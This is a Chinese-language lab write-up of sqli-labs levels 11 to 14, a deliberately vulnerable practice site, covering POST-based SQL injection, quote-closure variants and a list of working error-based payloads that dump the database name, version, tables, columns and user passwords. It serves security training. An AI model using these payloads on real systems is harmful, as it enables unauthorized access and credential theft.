sqli-labs闯关之11-20关

不管是第几关,我们的最终目标是获得用户密码,从而获取最高权限!

11到21关的提交方式全是post型的,我这里使用burpsuit抓包软件,也可以用hackbar选中的post,下面的实验我们穿插的使用(用hackbar的时候我们的注释符号用#,不能用--+,因为--+会出错)

第十一关

从这一关开始,我们就进入到了POST注入的世界了。在接下来的几关中我们将陆续介绍关于POST注入的方法以及技巧。

post是一种数据提交方式,它主要是指数据从客户端提交到服务器端

首先我们发现他是单引号字符型注入

 判断它有几个显示位,(看来是两个)

 接下来我们使用  联合查询语句 union select 来进行爆破,使用union select的时候要注意,输入的unname必须是一个不存在的,,否则将会输出不出来

 首先获取数据库使用者  名称权限,版本

获取我们要爆破的数据库名

获得该数据库中的表名

获得列名,因为我们没有指定数据库,所以他把所有数据库里面的users表的列名全都列出来,,加上and table_schema=database()就可以指定该数据库,注意users旁边要加引号,不加会出错

 获得用户名密码

第十二关(注入格式将十一关的'还成 ") 就行)

和第十一关一样,就是把单引号闭合换成双引号变形闭合就可以啦  '     ——>    ")

 

第十三关

发现输入完正确的输入后,他不给我们回显出来,说明这关是盲注了,就又和第五关一样了,参考第五关。通过这关的名字我们可以判断是单引号变形,就是‘)进行闭合

 Double Injection- String- with twist(双注入 - 字符型 - 变形)

 

既然它返回错误信息了,说明有回显,可以报错注入。

样例payload,,获得数据库名

在concat()中构造查询语句,

爆数据库名,版本,用户,表名,列名,用户和密码

 1 uname= ') union select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))as a from information_schema.tables group by a # &passwd= ') or 1=1 # &submit=Submit
 2 
 3 uname= ') union select count(*),concat(0x3a,0x3a,(select version()),0x3a,0x3a,floor(rand()*2))as a from information_schema.tables group by a # &passwd= ') or 1=1 # &submit=Submit
 4 
 5 
 6 uname= ') union select 1,2 from (select count(*),concat((select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a # &passwd= ') or 1=1 # &submit=Submit
 7 
 8 uname= ') union select 1,2 from (select count(*),concat((select concat(group_concat(table_name) ,0x3a,0x3a) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a # &passwd= ') or 1=1 # &submit=Submit
 9 
10 uname= ') union select 1,2 from (select count(*),concat((select concat(group_concat(column_name) ,0x3a,0x3a) from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a # &passwd= ') or 1=1 # &submit=Submit11 
12 uname= ') union select 1,2 from (select count(*),concat((select concat(username,0x3a, 0x3a,password,0x3a, 0x3a) from security.users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a # &passwd= ') or 1=1 # &submit=Submit

(中间还可以用布尔型手工注入,正确会回显,错误不回显和第五关基本一样,不再赘述)

最后获得用户名和密码

第十四关

和第十三关基本一样就是把单引号变形  变成  双引号,过程不再赘述,最后获得用户名和密码

这里用的布尔型手工注入,正确会回显,错误不回显(我这只截图了一种方法,共有三种方法)

猜你喜欢

转载自www.cnblogs.com/escwq/p/12264074.html